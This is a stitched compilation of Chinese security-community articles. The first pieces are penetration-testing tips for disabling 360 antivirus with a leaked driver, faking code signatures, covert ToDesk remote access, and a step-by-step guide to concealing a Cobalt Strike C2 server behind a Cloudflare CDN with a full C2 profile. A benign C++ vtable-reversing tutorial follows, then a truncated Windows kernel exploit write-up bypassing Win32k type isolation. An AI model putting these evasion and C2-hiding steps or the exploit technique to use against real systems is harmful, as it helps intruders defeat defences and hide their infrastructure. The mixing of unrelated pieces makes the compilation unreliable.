网贷催收产业化，但尚未有完善的法律制度来制约和监管。所以卫士妹提醒您，如果遭遇暴力催收或者高利贷一定要保留好证据，起诉平台通过法律手段保护自己。但最好的办法就是跟家人坦白，尽快还款。理性消费，远离“套路贷”。
社区文章
# 渗透测试中一些常规技巧的分享 ### webshell情况下目标主机不出网： 在渗透测试中常常会遇到目标不出网的情况，常见的解决方法我们一般通过上传pystinger,regeorg等工具走http代理 其实我们可以通过冰蝎的代理配合Proxifier来快速代理 下面是演示： 这样就无需上传文件达到快速配置代理请求 ### cs上线目标3389远程连接时遇到360拦截或者没有抓取到密码权限不够无法创建用户： 利用前提：能够上传文件 出网 这里我们可以通过上传todesk等远控软件通过静默安装之后读取配置文件来远程连接 列如 todesk静默安装后 产生的配置文件在C:\ProgramData\ToDesk_Lite目录（这里用的是免安装版） 之后复制内容替换到自己的配置文件 打开todesk就能看到目标主机todek的配置 如果遇到无法上传大文件只能上传小文件时，可以采用文件分割的方法 ###### 将todesk的安装程序分割成n个txt 通过certutil.exe来下载（有360这几把方法没吊用） 手动上传多个txt文件之后通过copy还原 利用网上泄露的驱动来kill360这样todesk都不要传直接远程上桌面 驱动可以尝试github上一个项目：<https://github.com/kagurazakasanae/Mhyprot2DrvControl> ### 上传扫描工具被杀： 比如webshell上传个fscan 发现fscan没了 这里通过tasklist判断目标主机上的防护防护软件是那个 利用<https://github.com/secretsquirrel/SigThief添加伪签名就可以绕过> 或者利用上述方法直接kill360 还可以通过certutil.exe 利用泄露的证书来为fscan添加一个合法证书一样可以避免被杀
社区文章
# 0x00 简介 1、 **CobaltStrike概述** Cobalt Strike是一款美国Red Team开发的渗透测试神器，常被业界人称为CS。成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式，集成了提权，凭据导出，端口转发，socket代理，office攻击，文件捆绑，钓鱼等功能。同时，Cobalt Strike还可以调用Mimikatz等其他知名工具并且可以作为团队服务使用，因此广受网络安全人员喜爱。 2、 **CDN及特征隐匿的作用** 虽然Cobalt Strike在渗透测试使用过程中非常的方便和强大，但其默认的特征信息使得CS服务端也会很容易被态势感知等监测设备所识别到，并且vps开启默认端口后也会被情报网站标记为攻击vps，且如果teamserver密码简单也会被反爆破。 因此就需要对Cobalt Strike的流量、特征等进行隐匿。本文章采用的是CDN+修改特征隐匿的方法。 # 0x01 注册free域名 这里使用www.freenom.com平台进行注册，需要登陆，因此提前准备好一个邮箱，国内外邮箱都行。 tips： 1、在选择好域名并注册后，需要登录平台，然后填写相关信息以用于注册（当前ip所处的地址这里必须一致、邮编、手机号等可采用漂亮的虚拟信息） 2、后续要使用cdn平台，因此需要在这个域名平台里面绑定cdn平台的ns记录。 详细配置参见以下文章，非常详细，按步骤一步步来即可。 <https://zhuanlan.zhihu.com/p/115535965> # 0x02 CDN平台配置DNS解析 域名注册完成后先不要急着解析，进行第二步的CDN平台配置。 CDN平台建议使用cloudflare <https://dash.cloudflare.com/> 先注册个账号登陆一波，使用邮箱注册，方便起见可以和freenom平台用同一个邮箱 1、进入cloudflare平台后，点击左侧的网站，然后添加一个域名，这里添加的域名就是freenom注册的 2、站点添加完成后，点击站点进去，在左侧DNS中添加记录 3、在添加完成后如果上面出现这样的告警，就代表在freenom平台中还没有修改ns记录，需要去将ns记录修改为cdn平台的 4、进入freenom平台修改ns记录，先登录，进入到域名管理处，修改ns名称。这里要填写的ns名称是CDN平台给分配的，参见上面一张图，ns前缀基本都是随机分配的，因此以CDN平台上的为准。 5、freenom改好ns记录后，再到CDN平台上点击上上图的“检查名称服务器”即可更新完成。此时再去解析域名、ping域名，都会成功返回到CDN的ip地址 # 0x03 CDN平台创建证书 1、在CDN平台左侧的SSL/TLS-----概述中，将右边的加密模式选择为灵活 2、在左侧源服务器中，点击创建证书。源服务器私钥类型选择ECC，密钥格式选择PEM。 一定要将源证书和私钥复制下来！后续要用到。 # 0x04 CDN平台禁用缓存 CDN默认开启缓存，可能会影响后续主机上线、shell命令回显等。因此这里有两种关闭缓存的方法建议都开启。 1、在CDN平台-缓存-配置-开发者模式-开启 2、在规则-创建页面规则中创建两条规则。以下规则中的域名不需要填写A记录名 ①星号.your dmoain/星号 ②your dmoain/* ③将规则设置为-缓存级别-绕过 # 0x05 VPS配置CS证书 1、进入VPS中的CS文件夹中，创建两个文件。server.pem（文件中贴入上面的源证书）和server.key（文件中贴入上面的私钥）保存即可 2、生成新的cobaltstrike证书。如果原先的cobaltstrike文件夹内有默认的.store证书，需要先删除掉默认的。使用以下命令生成： `python openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:123456` PS：这里是利用pem和key文件创建新的cert证书 ps：这里的pass密码需要修改，改为复杂的密码，不要使用123456 `keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias cloudflare_cert` PS：这里的所有密码都要和上面的一致 3、在CS目录内创建profile文件，名称自定义，这里使用C2.profile，然后将以下内容贴入到profile文件中。如果原先有默认的profile则需要删掉。 ps：以下内容中，password需要改为上面创建证书一直的密码。 host需要改为你在CDN平台中绑定的域名，切记是要加A记录前缀的完整域名。 https-certificate { set keystore "cfcert.store"; set password "123456"; } http-config { header "Content-Type" "application"; } http-stager { set uri_x86 "/api/1"; set uri_x64 "/api/2"; client { header "Host" "your host";} server { output{ print; } } } http-get { set uri "/api/3"; client { header "Host" "your host"; metadata { base64; header "Cookie"; } } server { output{ print; } } } http-post { set uri "/api/4"; client { header "Host" "your host"; id { uri-append; } output{ print; } } server { output{ print; } } } 4、cloudflareCDN免费支持的端口如下： http: 80、8080、8880、2052、2082、2086、2095 https: 443、2053、2083、2087、2096、8443 # 0x06 teamserver特征隐匿 ### 6.1 修改teamserver默认端口 编辑teamserver配置文件，将CobaltStrike默认的50050端口改成其它端口 ### 6.2 修改teamserver默认指纹信息 编辑teamserver配置文件，默认的是cobalt strike信息或Microsoft信息 CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth 可将指纹信息改为其它的内容 CN=baidu, OU=baidu, O=baidu, L=baidu, S=baidu, C=baidu #或者自定义完整的内容，国家、城市等信息 # 0x07 启动teamserver 1、启动teamserver的命令需要微调下： `./teamserver VPS公网IP 密码 C2.profile` ## 后面需要加上创建的C2.profile 2、连接上teamserver后，创建个监听器和马子。注意监听器的地址要填写CDN绑定的域名，而不是IP地址了 PS：在创建监听器时，建议使用https模式。并且监听器的https上线端口不要使用默认的443，否则可能会无法正常上线。建议监听端口使用CDN支持的其它端口。 # 0x08 上线测试隐匿效果 1、先在虚拟机里面打开个wireshark开启抓包模式，然后将马子丢到虚拟机里面执行。 2、此时在CS里面主机已经上线。然后看wireshark中的数据包，过滤vps真实地址发现一条都没有，均是和CDN地址的交互数据 下图过滤VPS地址： 下图过滤CDN地址： 下图可以看到追踪tcp流的内容中只有一个匿名域名，其它内容都是加密的。 至此CDN隐匿完成。
社区文章
# 【技术分享】逆向C++虚函数（二） | ##### 译文声明 本文是翻译文章，文章来源：安全客 原文地址：<https://alschwalm.com/blog/static/2017/01/24/reversing-c-virtual-functions-part-2-2/> 译文仅供参考，具体内容表达以及含义原文为准。 翻译：[维一零](http://bobao.360.cn/member/contribute?uid=32687245) 预估稿费：200RMB（不服你也来投稿啊！） 投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿 传送门：[【技术分享】逆向C++虚函数（一）](http://bobao.360.cn/learning/detail/3332.html) **前言** 在[ **上一部分中，**](https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/) 我描述了一种在小型C ++程序中“反虚拟化”函数调用的方法。当然，这种方法有一些限制，即它非常的手工。如果目标二进制包含成千上万个虚表，手动去定位虚表并创建这些结构及关系是不实际的。 因此，在本部分中，我将详细介绍虚表的布局，以及如何用可编程的方式找到它们。我也将展示某些时候我们可以如何恢复这些虚表之间的关系（以及它们之间的关联类型）。 但首先我需要描述这套适用的二进制文件集。在第一部分中我提到，与虚表布局相关的大多数事情没有在标准规范中指定，因此往往会因编译器而异。这是因为C ++标准需要适配而无论底层架构如何。如果规范指定了一些特定的虚表布局，那在某些架构上可能是低效的，这就不好了。该架构的编译器开发人员将需要在性能与合规性之间进行选择（那就超越了原本规范）。 然而，因为由不同编译器生成的程序经常需要交互（最值得注意的是，对于动态链接来说），编译器开发人员要协商对虚表布局，异常实现等的一些补充规范。其中最常见的是[ **英特尔 C ++ ABI**](https://mentorembedded.github.io/cxx-abi/abi.html) 。此标准由GCC，clang，ICC和许多其他编译器（但值得注意的是，非Visual Studio）实现。我下面的描述将适用于这些编译器。 英特尔 ABI在某些方面仍然模糊不清的。例如，它没有声明应该使用哪些段来存储虚表。所以我将进一步说明，我描述的GCC是基于英特尔的特定品牌。因此，本质上，我描述的是以下突出显示的部分： 此外，做出以下假设： 1、RTTI被禁用（如果它打开，将会更容易些）； 2、该程序不会出现虚拟继承； 不幸的是，讨论这将大大增加这个话题的复杂性，并且因为虚拟继承有点不常见，所以我认为这里值得去探讨； 3、这些都是32位二进制文件。 **更多关于虚表布局** 在我们继续之前，回想一下，在第1部分中，我们将虚表描述为二进制数据段中连续的函数指针集合。我们还可以说该数组应该只由它的第一个元素来进行引用，因为其他元素将作为这个数组的偏移量被访问。 .rodata:08048D48 off_8048D48     dd offset sub_8048B6E .rodata:08048D4C                 dd offset sub_8048BC2 .rodata:08048D50                 dd offset sub_8048BE0 这是一个来自二进制的部分，看起来似乎符合上面的定义。它是在'.rodata'段中3个函数指针的数组，并且只有0x08048D48引用了该指针。原来，它是一个虚表，这个启发好吗？如果我们要编译以下代码： #include <iostream> #include <cstdlib> struct Mammal {   Mammal() {   std::cout << "Mammal::Mammaln"; }   virtual ~Mammal() {}   virtual void walk() {   std::cout << "Mammal::walkn"; } }; struct Cat : Mammal {   Cat() {   std::cout << "Cat::Catn"; }   virtual ~Cat() {}   virtual void walk() {   std::cout << "Cat::walkn"; } }; struct Dog : Mammal {   Dog() {   std::cout << "Dog::Dogn"; }   virtual ~Dog() {}   virtual void walk() {   std::cout << "Dog::walkn"; } }; struct Bird {   Bird() {   std::cout << "Bird::Birdn"; }   virtual ~Bird() {}   virtual void fly() {   std::cout << "Bird::flyn"; } }; //NOTE:   this may not be taxonomically correct struct Bat : Bird, Mammal {   Bat() {   std::cout << "Bat::Batn"; }   virtual ~Bat() {}   virtual void fly() {   std::cout << "Bat::flyn"; } }; int main() {   Bird *b;   Mammal* m;   if (rand() % 2) {     b = new Bat();     m = new Cat();   } else {     b = new Bird();     m = new Dog();   }   b->fly();   m->walk(); } [view raw](https://gist.github.com/ALSchwalm/5a8cd4928eb8e3c1d2993a7acc0099d1/raw/a3be3e673dda73e70269bcdf2107541fb2a14fe1/reversing-part-2-1.cpp)[reversing-part-2-1.cpp](https://gist.github.com/ALSchwalm/5a8cd4928eb8e3c1d2993a7acc0099d1#file-reversing-part-2-1-cpp) hosted with ❤ by [GitHub](https://github.com/) 我们希望那里将有5张虚函数表，分别为Mammal，Cat，Dog，Bird，和Bat。但你可能已经猜到，事情不是那么简单。实际上，在满足上述标准的二进制中有6个区域。当你考虑具有多重继承的对象布局时就会清楚为什么如此。 注意，Bat包含一个Bird和Mammal的完整实例（称为子对象）并且每个子对象都有一个vptr。这些指针指向不同的虚函数表。因此，具有多个父类型的对象类型在二进制中对应每个父类型都有一张虚表。英特尔 ABI将这些称为“虚表组”。 ** ** **虚表组** 虚表组由第一个父类型的主表和任意数量的次表组成，次表对应在第一个父表后面的每个父类型。这些表在二进制中按照在源代码中声明父类型的顺序相邻。考虑到这一点，我们期望Bat的虚表组是这样的： 每个虚表需要12个字节。回顾第1部分内容，每个虚表将有两个析构函数，并且因为Bat没有重写walk，我们期望从 Mammal继承的walk出现在Bat表中。然而，如果我们检查二进制文件，并没有在.rodata段看到任何地方有连续的6个函数指针。 如果我们更仔细地看看英特尔的规范，可以找到原因。虚表不仅包括函数指针。实际上一个虚表看起来更像这样： ** ** **英特尔虚表布局（无虚拟继承）** 该RTTI pointer通常指向一个RTTI结构体（在英特尔规范中也有描述）。但是，由于我们假设了RTTI被禁用，所以它将总是0。而offset to top的值等于必须添加的this指针的大小，通过这个指针可以获取从某个子对象到自身对象的起始位置。这点可能有些混乱，所以为了更清楚，观察下面的代码： Bat* bat = new Bat(); Bird* b = bat; Mammal* m = bat; [**view raw**](https://gist.github.com/ALSchwalm/4d31be0344b8d1ff61ebbea1a94b0f3b/raw/47911166844814871c2758e8b727a7cd1b63388a/reversing-part-2-2.cpp)[ **reversing-part-2-2.cpp**](https://gist.github.com/ALSchwalm/4d31be0344b8d1ff61ebbea1a94b0f3b#file-reversing-part-2-2-cpp) **hosted with ❤ by**[ **GitHub**](https://github.com/) 这些分配的b和m都是有效的。第一个不需要任何指令。一个 Bat就是一个Bird，因为Bird是它的第一个父类型，在任何Bat对象的开始都是Bird子对象。因此，指向Bat的指针也是指向Bird的指针。这就像正常，单一继承。 但是，分配m确实需要额外一些工作。在Bat里面的子对象Mammal不是开头对象，所以编译器必须插入一些指令到bat，使其指向其Mammal子对象。添加的值将是Bird的大小（对齐）。此值的负值将存储在offset to top字段中。 虚表的这个offset to top组件允许我们轻松地识别虚表组。一个虚表组将由在offset to top中具有缩减值的那些连续的虚表组成。考虑下图： 从上面的源代码构建的二进制文件中找到了6张虚表。注意到，第2张表有个-4的值（0xFFFFFFFC作为有符号整数）属于它的字段offset to top，而其他表的此字段值为0。此外，正如我们所预期的，每个RTTI指针为0。这里数值-4告诉我们两件事： 1、第2张表是虚表组中的次表（因为offset to top非0）； 2、与第1张表有关的类型大小是4。请注意，因为第1张和第2张形成虚表组，和表1关联的类型大小实际上是部分对象的大小（即一个子对象）。 ** ** **以编程方式查找虚表** 根据上述内容，我们可以设计以下简单的程序来从二进制查找虚表（组）： 一个简单的脚本，用于在带有英特尔 ABI的二进制文件中定位vtable组。请注意，此脚本不考虑虚拟继承（更值得注意的），或虚表包含空指针的情况。这可能在最近的编译器处理纯抽象类时发生。 import idaapi import   idautils def read_ea(ea):     return (ea+4,   idaapi.get_32bit(ea)) def read_signed_32bit(ea):     return (ea+4,   idaapi.as_signed(idaapi.get_32bit(ea), 32)) def get_table(ea):       '''给定一个地址，对位于该地址的表返回（offset_to_top，end_ea），    如果没有表则返回None'''       ea, offset_to_top =   read_signed_32bit(ea)     ea, rtti_ptr =   read_ea(ea)     if rtti_ptr   != 0:         return None     func_count = 0     while True:         next_ea, func_ptr = read_ea(ea)         if not func_ptr in   idautils.Functions():             break         func_count += 1         ea =   next_ea     if func_count   == 0:         return None     return   offset_to_top, ea def get_table_group_bounds(ea):       '''给定一个地址，对位于该地址的虚表组返回（start_ea，end_ea）'''     start_ea = ea       prev_offset_to_top = None       while True:         table =   get_table(ea)         if table is None:             break         offset_to_top, end_ea = table         if   prev_offset_to_top is None:             if   offset_to_top != 0:                 break             prev_offset_to_top = offset_to_top         elif offset_to_top   >= prev_offset_to_top:             break         ea = end_ea     return   start_ea, ea def find_tablegroups(segname=".rodata"):       '''对于在段'segname'的虚表组返回一个（start，end）ea对的列表  '''     seg =   idaapi.get_segm_by_name(segname)     ea =   seg.startEA       groups = []       while ea < seg.endEA:         bounds =   get_table_group_bounds(ea)         if   bounds[0] == bounds[1]:             ea += 4             continue         groups.append(bounds)         ea =   bounds[1]     return groups [**view raw**](https://gist.github.com/ALSchwalm/2c8a16576d713bacdbc3f9df36c0e843/raw/28cff7914f8cd97c12d0de976c9f082dc7687c1b/reversing-part-2-3.py)[ **reversing-part-2-3.py**](https://gist.github.com/ALSchwalm/2c8a16576d713bacdbc3f9df36c0e843#file-reversing-part-2-3-py) **hosted with ❤ by**[ **GitHub**](https://github.com/) 在IDA的python解释器中运行上面的代码之后，可以执行find_tablegroups()获取一个虚表组地址的列表。例如，这可以与附加代码结合起来去为每张虚表创建对应结构。 然而，只知道虚表组在哪里并不是非常有用。我们需要一些与虚表关联的类型之间的关系信息。然后，我们将能够为虚函数调用点生成一个'候选的'函数调用列表，只要我们知道该类型相关联的“家族”。 ** ** **恢复类型关系** 恢复这些关系的最简单的方法是去识别两个虚表共享的一个相关函数指针。我们不能恢复这种关系的性质，但它足以确定他们在同一个家族。 但是我们可以进一步考虑C ++中构造函数和析构函数的行为。 **构造函数执行以下步骤：** 1、调用父类的构造函数 2、初始化vptr（s）以指向此类型的vtable（s） 3、初始化对象的成员 4、在构造函数中运行其他任何代码 **析构函数执行基本上相反的步骤：** 1、设置vptr（s）以指向此类型的vtable（s）； 2、在析构函数中运行其他任何代码； 3、销毁对象的成员； 4、调用父类的析构函数。 **注意，vptr再次设置为指向虚表。如果你不考虑虚函数调用应该在销毁期间仍然工作的话就会觉得奇怪。** 假设我们修改Bird的析构函数，让它调用fly。如果你要销毁一个Bat对象（当一个Bat对象完成时，它又调用Bird的析构函数），它应该调用Bird::fly不是Bat::fly，因为对象不再是一个Bat。为了这个工作顺利进行，Bird析构函数必须更新vptr。 因此，我们知道每个析构函数将调用父类型的析构函数，并且这些析构函数会引用虚表（将它分配给vptr）。所以，我们可以通过“跟随析构函数”来重建类型的继承层次结构。类似的逻辑也可以用于构造函数。 考虑一下第一个虚表中的第一个条目（我们期望它是一个析构函数）： 注意，上面有两个赋值，它们都是虚表的地址范围。这是上面列表中的步骤1。这些对象似乎没有任何成员，因为它直接进行到步骤4，并调用其他两个析构函数。我们也可以确认这些其他函数是析构函数，因为它们在虚表中的位置（在表6和表3的开头）。对剩余的表执行此操作，这告诉我们继承层次结构的布局如下： 这和源代码中的实际层次结构相符合。总共有两个基类，即一个类中有两个父类。 **识别构造函数** 通过类似的推理，我们可以找到与虚表相关联的构造函数，方法是找那些将它们的vptr分配给一个不是析构函数的虚表地址的函数就是构造函数。通过将此规则应用于目标，我们发现有5个这样的函数，每个类型一个： ** ** **反虚拟化** 有了这个，我们可以看看反编译体的main函数： 虚函数在第28行和第29行清晰可见。然而，我们也可以从上面的表中识别第13,16,22和25行的构造函数。使用这些知识，我们可以按照从第1部分的过程看到反虚拟化： 在上面的截图中，我已经设置了v0的类型type_8048D40*。这是与表1/2相关联的类型，也与第13行上的构造函数相关联。类似地，第16行上的构造函数与表5相关联，我已经为其创建了一个类型命名为type_8048D98（这是表开始的地址，我可以很容易地引用它们如table_5或类似的命名）。同样的事情可以应用到v2和v3以便可以看到第28和29行的修改。 所以，虽然原始代码包含的字符串将使识别类型和方法容易，但是我们不需要那些来进行我们的“反虚拟化”。 ** ** **结论** 这仍然是一个非常手工的过程，但我们已经更进一步了。我们现在（大概）可以自动检测虚表了。不难看出我们将如何能够自动化构造相关结构，然后可能是构造函数调用的位置。我们也可以想象重建类型树。在下一部分，我们将深入探讨这一点。 传送门：[【技术分享】逆向C++虚函数（一）](http://bobao.360.cn/learning/detail/3332.html)
社区文章
原文来自安全客，作者：k0shl from 360vulcan team 原文链接：<https://www.anquanke.com/post/id/107532> 作者twitter：[@KeyZ3r0](https://twitter.com/KeyZ3r0 "@KeyZ3r0") 作者微博：[@我叫0day谁找我_](https://weibo.com/p/1005055342666404 "@我叫0day谁找我_") #### 一、背景 近年来，在内核漏洞利用中利用GDI object来完成任意地址R/W的方法越来越成熟，在池溢出（pool overflow），任意地址写（arbitrary write），越界写（oob write），释放后重用（uaf），二次释放（double free）等很多漏洞类型的场景中，都可以利用GDI object来完成任意地址读写，我们称为GDI data-only attack。 微软在Windows 10 build 1709版本之后引入了win32k类型隔离用来缓解GDI object这种利用方式，我在对win32kbase.sys关于typeisolation实现的逆向工程中发现了微软在设计类型隔离这种缓解措施时的一处失误，导致在某些常见漏洞场景中仍然可以利用GDI object完成data-only exploitation，在本文中，我将与大家分享这个新的攻击方案思路。 **调试环境：** **OS:** Windows 10 rs3 16299.371 **FILE:** Win32kbase.sys 10.0.16299.371 #### 二、GDI data-only attack GDI data-only attack是当前内核漏洞利用中比较常见的利用手段之一，利用常见的漏洞场景修改GDI object的某些特定成员变量，就可以使用win32k中管理GDI的API完成任意地址读写。目前，在GDI data-only attack中常用的两个GDI object是Bitmap以及Palette，关于Bitmap一个重要的结构是 typedef struct _SURFOBJ { DHSURF dhsurf; HSURF hsurf; DHPDEV dhpdev; HDEV hdev; SIZEL sizlBitmap; ULONG cjBits; PVOID pvBits; PVOID pvScan0; LONG lDelta; ULONG iUniq; ULONG iBitmapFormat; USHORT iType; USHORT fjBitmap; } SURFOBJ, *PSURFOBJ; Palette一个重要的结构是： typedef struct _PALETTE64 { BASEOBJECT64 BaseObject; FLONG flPal; ULONG32 cEntries; ULONG32 ulTime; HDC hdcHead; ULONG64 hSelected; ULONG64 cRefhpal; ULONG64 cRefRegular; ULONG64 ptransFore; ULONG64 ptransCurrent; ULONG64 ptransOld; ULONG32 unk_038; ULONG64 pfnGetNearest; ULONG64 pfnGetMatch; ULONG64 ulRGBTime; ULONG64 pRGBXlate; PALETTEENTRY *pFirstColor; struct _PALETTE *ppalThis; PALETTEENTRY apalColors[3]; } 在Bitmap和Palette的内核结构中，和GDI data-only attack相关的两个重要成员变量是Bitmap->pvScan0和Palette->pFirstColor。这两个成员变量指向Bitmap和Palette的data域，可以通过GDI API向data域读取或写入数据，只要我们通过触发漏洞修改这两个成员变量指向任意内存地址，就可以通过GetBitmapBits/SetBitmapBits或GetPaletteEntries/SetPaletteEntries完成对指向任意内存地址写入和读取，也就是任意地址读写。 关于利用Bitmap和Palette来完成GDI data-only attack现在网上已经有很多相关的技术文章，同时也不是本文的讨论重点，这里就不做更深入的分享，相关的资料可以参考第五部分。 #### 三、Win32k TypeIsolation GDI data-only attack这种利用方式大大降低了内核利用的难度，且在大多数常见漏洞类型的场景中都可以应用，微软在Windows10 rs3 build 1709之后增加了一个新的缓解机制—-win32k typeisolation，通过一个双向链表将GDI object统一管理起来，同时将GDI object的头部与data域分离，这样不仅仅缓解了利用pool fengshui制造可预测池再使用GDI object进行占位并修改关键成员变量这种利用技术，同时也缓解了通过修改头部其他成员变量来增大data域可控范围这种利用技术，因为头部与data域部分不再相邻。 关于win32k typeisolation的机制可参考下图： 在这里我对win32k typeisolation的机制关键部分进行简要说明，关于win32k typeisolation的详细运行机制，包括GDI object的申请，分配，释放等可参考第五部分。 在win32k typeisolation中，GDI object通过CSectionEntry这个双向链表进行统一管理，其中view域指向一个0x28000大小的内存空间，而GDI object的头部在这里统一被管理，view域以view数组的方式管理，数组大小是0x1000。而在对GDI object的分配时RTL_BITMAP会作为是否向指定view域位置分配GDI object的重要依据。 在CSectionEntry中，bitmap_allocator指向CSectionBitmapAllocator，在CSectionBitmapAllocator中存放的xored_view，xor_key，xored_rtl_bitmap，其中xored_view ^ xor_key指向view域，xored_rtl_btimap ^ xor_key指向RTL_BITMAP。 在RTL_BITMAP中bitmap_buffer_ptr指向的BitmapBuffer用于记录view域的状态，空闲为0，占位为1。当申请GDI object的时候，会通过win32kbase!gpTypeIsolation开始遍历CSectionEntry列表，通过对CSectionBitmapAllocator查看是否当前view域包含空闲位置，如果存在空闲位则会将新的GDI object header放置在view域中。 我对CTypeIsolation类和CSectionEntry类关于对GDI object申请和释放实现的逆向中发现，TypeIsolation在对CSectionEntry双向链表遍历，利用CSectionBitmapAllocator判断view域状态，并对view域中存放的GDI object SURFACE进行管理的过程中，并没有检查CSectionEntry->view和CSectionEntry->bitmap_allocator指针指向的有效性，也就是说如果我们能够构造一个fake view和fake bitmap_allocator并能够利用漏洞修改CSectionEntry->view和CSectionEntry->bitmap_allocator使其指向fake struct，则我们可以重新利用GDI object完成data-only attack。 #### 四、Save and reborn gdi data-only attack！ 在本节中我来和大家分享一下这种攻击方案的利用思路，HEVD是Hacksysteam开发的一个存在典型内核漏洞的练习驱动，在HEVD中存在一个任意地址（Arbitrary Write）漏洞，我们就以这个漏洞为例来和大家分享整个利用过程。 **Attack scenario：** 首先来看一下CSectionEntry的申请，CSectionEntry会申请0x40大小的session paged pool，CSectionEntry申请池空间的实现在NSInstrumentation::CSectionEntry::Create()中。 .text:00000001C002AC8A mov edx, 20h ; NumberOfBytes .text:00000001C002AC8F mov r8d, 6F736955h ; Tag .text:00000001C002AC95 lea ecx, [rdx+1] ; PoolType .text:00000001C002AC98 call cs:__imp_ExAllocatePoolWithTag //Allocate 0x40 session paged pool 也就是说，我们仍然可以通过pool fengshui来制造一个可预测的session paged pool hole用来给CSectionEntry占位，因此在HEVD这个Arbitrary write的漏洞利用场景中，我们使用tagWND的方法制造一个稳定的pool hole，并且利用[HMValidateHandle](https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp "HMValidateHandle")泄露tagWND内核对象地址。因为当前漏洞实例是一个任意地址写漏洞，因此如果我们能泄露内核对象地址便于我们对这个攻击方案思路的理解，当然在很多攻击场景中只需要利用pool fengshui制造一个可预测池即可。 kd> g//利用tagWND制造一个稳定的pool hole Break instruction exception - code 80000003 (first chance) 0033:00007ff6`89a61829 cc int 3 kd> p 0033:00007ff6`89a6182a 488b842410010000 mov rax,qword ptr [rsp+110h] kd> p 0033:00007ff6`89a61832 4839842400010000 cmp qword ptr [rsp+100h],rax kd> r rax rax=ffff862e827ca220 kd> !pool ffff862e827ca220 Pool page ffff862e827ca220 region is Unknown ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04 ffff862e827ca150 size: 10 previous size: 150 (Free) Free ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu *ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Ustx Process: ffffd40acb28c580 Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8 ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8``` 在0xffff862e827ca220制造了一个稳定的session paged pool hole，0xffff862e827ca220会在之后释放，处于free状态。 kd> p 0033:00007ff7`abc21787 488b842498000000 mov rax,qword ptr [rsp+98h] kd> p 0033:00007ff7`abc2178f 48398424a0000000 cmp qword ptr [rsp+0A0h],rax kd> !pool ffff862e827ca220 Pool page ffff862e827ca220 region is Unknown ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04 ffff862e827ca150 size: 10 previous size: 150 (Free) Free ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu *ffff862e827ca210 size: 40 previous size: b0 (Free ) *Ustx Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8 ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8 下面我们需要令CSecitionEntry在0xffff862e827ca220位置占位，这就需要利用TypeIsolation的一个特性，正如第二节我们提到的，在GDI object对象申请时，会遍历CSectionEntry，并通过CSectionBitmapAllocator判断view域中是否有空闲位，如果CSectionEntry的view域已满，则会到下一个CSectionEntry中继续查询，但如果当前的CTypeIsolation双向链表中，所有的CSectionEntry的view域全都被占满，则会调用NSInstrumentation::CSectionEntry::Create()创建一个新的CSectionEntry。 因此，我们在制造完pool hole之后申请大量的GDI object，用来占满所有CSectionEntry的view域，以确保创建新的CSectionEntry，并且占用0x40大小的pool hole。 kd> g//创建大量的GDI object， 0xffff862e827ca220位置被CSectionEntry占位 kd> !pool ffff862e827ca220 Pool page ffff862e827ca220 region is Unknown ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04 ffff862e827ca150 size: 10 previous size: 150 (Free) Free ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu *ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Uiso Pooltag Uiso : USERTAG_ISOHEAP, Binary : win32k!TypeIsolation::Create ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8 ffff86b442563150 size: 接下来我们需要构造fake CSectionEntry->view和fake CSectionEntry->bitmap_allocator，并且利用Arbitrary Write修改session paged pool hole中的CSectionEntry中的指针，使其指向我们构造的fake struct。 在我们申请大量GDI object的时候建立的新的CSectionEntry的view域中可能已经被SURFACE占满或占据了一部分，如果我们构造fake struct的时候将view域构造成空，那么就可以欺骗TypeIsolation，在GDI object申请的时候会将SURFACE放在已知位置。 我们通过VirtualAllocEx在userspace申请内存存放fake struct，并且我们将userspace memory属性置成READWRITE。 kd> dq 1e0000//fake pushlock 00000000`001e0000 00000000`00000000 00000000`0000006c kd> dq 1f0000//fake view 00000000`001f0000 00000000`00000000 00000000`00000000 00000000`001f0010 00000000`00000000 00000000`00000000 kd> dq 190000//fake RTL_BITMAP 00000000`00190000 00000000`000000f0 00000000`00190010 00000000`00190010 00000000`00000000 00000000`00000000 kd> dq 1c0000//fake CSectionBitmapAllocator 00000000`001c0000 00000000`001e0000 deadbeef`deb2b33f 00000000`001c0010 deadbeef`deadb33f deadbeef`deb4b33f 00000000`001c0020 00000001`00000001 00000001`00000000 其中，0x1f0000指向view域，0x1c0000指向CSectionBitmapAllocator，fake view域将用于存放GDI object，而CSectionBitmapAllocator中的结构需要精心构造，因为我们需要通过它来欺骗typeisolation认为我们可控的CSectionEntry是个空闲view项。 typedef struct _CSECTIONBITMAPALLOCATOR { PVOID pushlock; // + 0x00 ULONG64 xored_view; // + 0x08 ULONG64 xor_key; // + 0x10 ULONG64 xored_rtl_bitmap; // + 0x18 ULONG bitmap_hint_index; // + 0x20 ULONG num_commited_views; // + 0x24 } CSECTIONBITMAPALLOCATOR, *PCSECTIONBITMAPALLOCATOR; 上述CSectionBitmapAllocator结构和0x1c0000处的结构对照，其中xor_key我定义为0xdeadbeefdeadb33f，只要保证xor_key ^ xor_view和xor_key ^ 